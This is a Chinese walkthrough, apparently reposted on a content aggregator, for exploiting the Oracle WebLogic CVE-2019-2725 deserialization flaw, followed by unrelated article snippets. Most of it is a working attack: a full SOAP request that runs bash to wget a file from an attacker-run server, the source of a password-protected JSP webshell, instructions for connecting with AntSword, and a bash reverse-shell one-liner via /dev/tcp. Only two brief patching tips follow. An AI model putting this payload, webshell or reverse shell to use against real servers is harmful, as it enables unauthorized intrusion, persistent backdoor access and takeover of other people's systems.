Weblogic反序列化远程命令执行(CVE-2019-2725)

漏洞描述:

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

复现过程:

1.访问ip:port

2.可以访问

/_async/AsyncResponseService

,则存在漏洞

3.查看网站路径

/_async/AsyncResponseService?info

4.开启http服务

5.将GET改为POST,随后请求包部分除了第一行第二行保留,其他全部替换如下payload

POST /_async/AsyncResponseService HTTP/1.1

Host: ip:port

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 841

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"

xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>wget http://ip:port/jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

6.使用payload上传jsp木马

Jsp源码,密码123456

<%!

    class U extends ClassLoader {

        U(ClassLoader c) {

            super(c);

        }

        public Class g(byte[] b) {

            return super.defineClass(b, 0, b.length);

        }

    }

    public byte[] base64Decode(String str) throws Exception {

        try {

            Class clazz = Class.forName("sun.misc.BASE64Decoder");

            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

        } catch (Exception e) {

            Class clazz = Class.forName("java.util.Base64");

            Object decoder = clazz.getMethod("getDecoder").invoke(null);

            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

        }

    }

%>

<%

    String cls = request.getParameter("123456");

    if (cls != null) {

        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

    }

%>


7.访问上传木马

8.蚁剑连接

9.反弹shell

9.1payload

bash -i >& /dev/tcp/target ip/target port 0>&1

这里>&需要转换,否则无法利用

例:

bash -i >& /dev/tcp/ip/9999 0>&1

9.2本机监听

修复建议:

1.升级本地JDK环境

2.及时安装官方补丁

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2661665.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

proE各版本安装指南

下载链接 https://pan.baidu.com/s/1BSaJxvPPGeIa4YKm7xk57g?pwd0531 1.鼠标右击【Proe5.0M280(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;选择【解压到 Proe5.0M280(64bit)】&#xff08;解压的路径中不能有中文&#xff09;。 2.打开…

动态规划中的状态转移方程和最优子结构

LeetCode 64&#xff1a;给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的数字总和为最小。说明&#xff1a;每次只能向下或者向右移动一步。 这个问题的本质其实是一个背包问题。 把 i 设置为向下走&#xff0…

C# ASP.NET 实验室 检验中心 医疗LIS源码

LIS系统能够自动处理大量的医学数据&#xff0c;包括样本采集、样本处理、检测分析、报告生成等。它能够快速、准确地进行化验检测&#xff0c;提高医院的运营效率。LIS系统还提供了丰富的数据分析功能&#xff0c;能够对医院化验室的业务流程进行全面、细致的监控。 LIS系统优…

MySQL之复合查询

单表查询回顾 在讲解多表查询前&#xff0c;我们先回顾一下单表查询&#xff0c;这是因为多表查询本质上依然是单表查询&#xff08;其原因在下文中讲解多表查询时再说明&#xff09;&#xff0c;只要掌握了单表查询&#xff0c;那么想掌握多表查询是非常简单的。 在<<…

工业智能网关:plc数据采集对接mes系统

在工业自动化领域&#xff0c;制造执行系统&#xff08;MES&#xff09;与可编程逻辑控制器&#xff08;PLC&#xff09;之间的实时通信对于提高生产效率、确保产品质量和实现智能化生产至关重要。工业智能网关作为连接两者的关键设备&#xff0c;正在发挥着越来越重要的作用。…

MYSQL一一函数一一字符串函数

嘿嘿大家好我回来啦&#xff0c;今天我们要学习的是MYSQL中的函数&#xff0c;函数呢我们又分为字符串函数&#xff0c;数值函数&#xff0c;日期函数&#xff0c;流程函数来介绍&#xff0c;今天重点介绍字符串函数(从小题到案例方便你们更加深入的理解) 函数指的是一段可以直…

UE5.1_Gameplay Debugger启用

UE5.1_Gameplay Debugger启用 重点问题&#xff1a; Gamplay Debugger启用不知道&#xff1f; Apostrophe、Tilde键不知道是哪个&#xff1f; Gameplay调试程序 | 虚幻引擎文档 (unrealengine.com) Gameplay Debugger

点成案例 | 如何利用细胞计数仪在单细胞测序中评估细胞

一、概述 单细胞测序技术能够用来表征异常细胞群&#xff0c;分析稀有细胞和细胞图谱网络&#xff0c;发现异质性等。由于单细胞测序巨大的应用潜力&#xff0c;目前此技术正在经历爆炸性增长。然而&#xff0c;单细胞测序需要成本和时间的大量投资。为了确保时间和资源的投资…

AI时代下,如何看待“算法利维坦”?

ChatGPT的浪潮从2022年袭来后&#xff0c;至今热度不减&#xff0c;呈现出蓬勃发展的趋势。AI家居、医疗、教育、金融、公益、农业、艺术......AI真的已经走进了生活的方方面面&#xff0c;我们仿佛已经进入了AI时代&#xff0c;势不可挡。人工智能水平如此之高&#xff0c;不禁…

MR实战:实现数据去重

文章目录 一、实战概述二、提出任务三、完成任务&#xff08;一&#xff09;准备数据文件1、在虚拟机上创建文本文件2、上传文件到HDFS指定目录 &#xff08;二&#xff09;实现步骤1、Map阶段实现&#xff08;1&#xff09;创建Maven项目&#xff08;2&#xff09;添加相关依赖…

mac安装k8s环境

安装kubectl brew install kubectl 确认一下安装的版本 kubectl version --client 如果想在本地运行kubernetes 需要安装minikube brew install minikube 需要注意安装minikube需要本地的docker服务是启动的 启动 默认连接的是google的仓库 minikube start 指定阿…

身份证阅读器Qt动态调用方法donsee32.dll实现读取身份证信息、社保卡信息、IC卡、银行卡等信息

Qt动态调用读取效果 导入读卡相关函数 {ui->setupUi(this);//动态调用方法 donsee32.dllm_hDLL ::LoadLibrary(L"./donsee32.dll");if (m_hDLL nullptr)ui->textEdit->append("加载动态库失败&#xff0c;请检查动态库路径");elseui->textE…

流媒体服务器ZLMediaKit与FFmpeg

流媒体服务器ZLMediaKit与FFmpeg overview 关键字&#xff1a;ZLMediaKit、FFmpeg、srt、vlc 如果想快速拥有自己的流媒体服务器&#xff0c;那么可以使用开源项目自己搭建。开源的流媒体服务器&#xff0c;在国内&#xff0c;GitHub star数量比较高的&#xff1a;srs和ZLMe…

2024年12个Stonly知识库替代方案

知识库软件在现代企业中发挥着重要的作用&#xff0c;它提供了一个专门的工具&#xff0c;用于创建、管理和维护集中的信息库。面对组织需要处理的大量信息&#xff0c;选择合适的知识库平台可能也是一项比较困难的任务。 知识库一个关键的区别在于内部和外部知识库。内部知识…

C++ BuilderXE10 关于Intraweb关于IWTemplateProcessorHTML1操作

1、端口设置,port参数修改端口号。 2、初始化设置成ciMultiThreaded。这样可以避免ADO组件的加载错误。 3、IWTemplateProcessorHTML1设置&#xff0c; IWForm1->LayoutMgr IWTemplateProcessorHTML1;//关联模板(IWForm1. html) IWTemplateProcessorHTML1->RenderStyles…

交叉编译含义

交叉编译是在一个平台上生成另一个平台上的可执行代码。同一个体系结构可以运行不同的操作系统&#xff1b;同样&#xff0c;同一个操作系统也可以在不同的体系结构上运行。 编译工具链下载&#xff1a; (1) ARM提供&#xff1a;Arm GNU Toolchain Downloads – Arm Develope…

实现QT的多语言切换(静态+动态)

背景&#xff1a; 1.项目开发上&#xff1a;多人多模块同时开发&#xff0c;需要考虑如何便于管理共同开发 2.文本有两类&#xff1a;界面上固定不变的文本&#xff08;静态&#xff09;&#xff1b;在程序运行时才能获得的文本&#xff08;动态&#xff09; 任务&#xff1a…

【C++】vector 基本使用(详解)

目录 一&#xff0c;vector 的介绍 二&#xff0c;vector 的定义 1&#xff0c;vector() 2&#xff0c;vector&#xff08;size_type n, const value_type& val value_type()&#xff09; 3&#xff0c;vector (const vector& x) 4&#xff0c;vector (InputIte…

使用 sourcetree 的《遴选》功能

假设你有一个分支&#xff0c;有两个提交 A&#xff0c;和B&#xff0c;你现在想在A提交的基础上把 B提交的功能做修改&#xff0c;你可以使用 遴选功能。 在A 提交的基础上新建一个分支&#xff0c;然后在B提交上面&#xff0c;右键&#xff0c;选择 遴选&#xff0c;那么B修改…

传感器原理与应用复习--磁电式与霍尔传感器

文章目录 上一篇磁电感应传感器工作原理应用 霍尔传感器工作原理基本特性应用 下一篇 上一篇 传感器原理与应用复习–电容式与压电式传感器 磁电感应传感器 工作原理 导体在稳恒均匀磁场中&#xff0c;沿垂直磁场方向运动时&#xff0c;产生的感应电势为 e B l v e Blv …